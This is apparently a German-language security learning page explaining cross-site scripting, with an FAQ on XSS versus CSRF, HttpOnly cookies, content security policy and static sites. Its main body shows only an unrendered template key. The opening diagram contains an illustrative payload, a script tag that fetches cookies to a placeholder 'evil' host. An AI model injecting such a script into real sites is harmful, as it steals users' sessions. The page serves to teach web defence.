trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

Cross-Site-Scripting (XSS)

11 Min. gelesenSicherheit

Cross-Site-Scripting ist die Schwachstelle, bei der ein Angreifer JavaScript einschleust, das im Browser eines anderen Benutzers ausgeführt wird, als wäre es Teil der legitimen Site. Der Schaden reicht vom Diebstahl von Sitzungscookies bis hin zum Durchführen von API-Aufrufen im Namen des Opfers. XSS ist seit zwei Jahrzehnten in den OWASP Top 10 und zeigt keine Anzeichen eines Abgangs.

Der vollständige Artikeltext ist unten in englischer Sprache aufgeführt.

pages.learningArticles.cross-site-scripting.bodyHtml

Häufig gestellte Fragen

Ist XSS noch relevant?
Ja. Die jüngsten Umfragen von OWASP zeigen XSS in nahezu jeder Webanwendung. Moderne Frameworks haben die Häufigkeit reduziert, aber aufgrund der langen Reihe veralteter Apps, benutzerdefinierter Codes und Randfälle bleibt XSS eine der am häufigsten gemeldeten Web-Schwachstellen. Bug-Bounty-Plattformen sehen wöchentlich Hunderte von XSS-Berichten.
Was ist der Unterschied zwischen XSS und CSRF?
XSS schleust bösartigen Code in die vertrauenswürdige Site ein und führt ihn mit den Berechtigungen der Site aus. CSRF (Cross-Site Request Forgery) bringt den Browser des Opfers dazu, mithilfe der Sitzung des Opfers eine Anfrage von einem anderen Ursprung an die vertrauenswürdige Site zu stellen. Sie klingen ähnlich, verfügen aber über unterschiedliche Mechanismen und Abwehrmechanismen.
Schützt das HttpOnly-Cookie vor XSS?
Teilweise. HttpOnly verhindert, dass JavaScript das Cookie über document.cookie liest, und verhindert so Cookie-Exfiltrationsangriffe. Die XSS-Nutzlast kann weiterhin authentifizierte Anfragen stellen, da der Browser das Cookie automatisch sendet – HttpOnly stoppt eine bestimmte Schadensklasse, nicht den umfassenderen Angriff.
Kann ein CSP XSS vollständig eliminieren?
Ein strikter CSP (nonce-basiert, kein „unsafe-inline“ oder „unsafe-eval“) kommt einer Wunderwaffe am nächsten. Es verhindert nicht die Injektion selbst, aber es verhindert die Ausführung der injizierten Nutzlast. In Kombination mit der Ausgabe-Escape-Funktion in der Anwendung erschwert striktes CSP die praktische XSS-Ausnutzung sehr.
Sind statische Websites immun?
Nicht ganz. DOM-basiertes XSS funktioniert weiterhin auf statischen Websites, wenn deren clientseitiges JS URL-Parameter unsicher verwendet. Reine HTML-Sites ohne JavaScript verfügen nicht über XSS. Die meisten modernen „statischen Websites“ verwenden so viel JavaScript, dass XSS ein mögliches (wenn auch seltenes) Problem darstellt.
Cross-Site Scripting (XSS) erklärt: Die Sicherheitslücke in jeder Web-App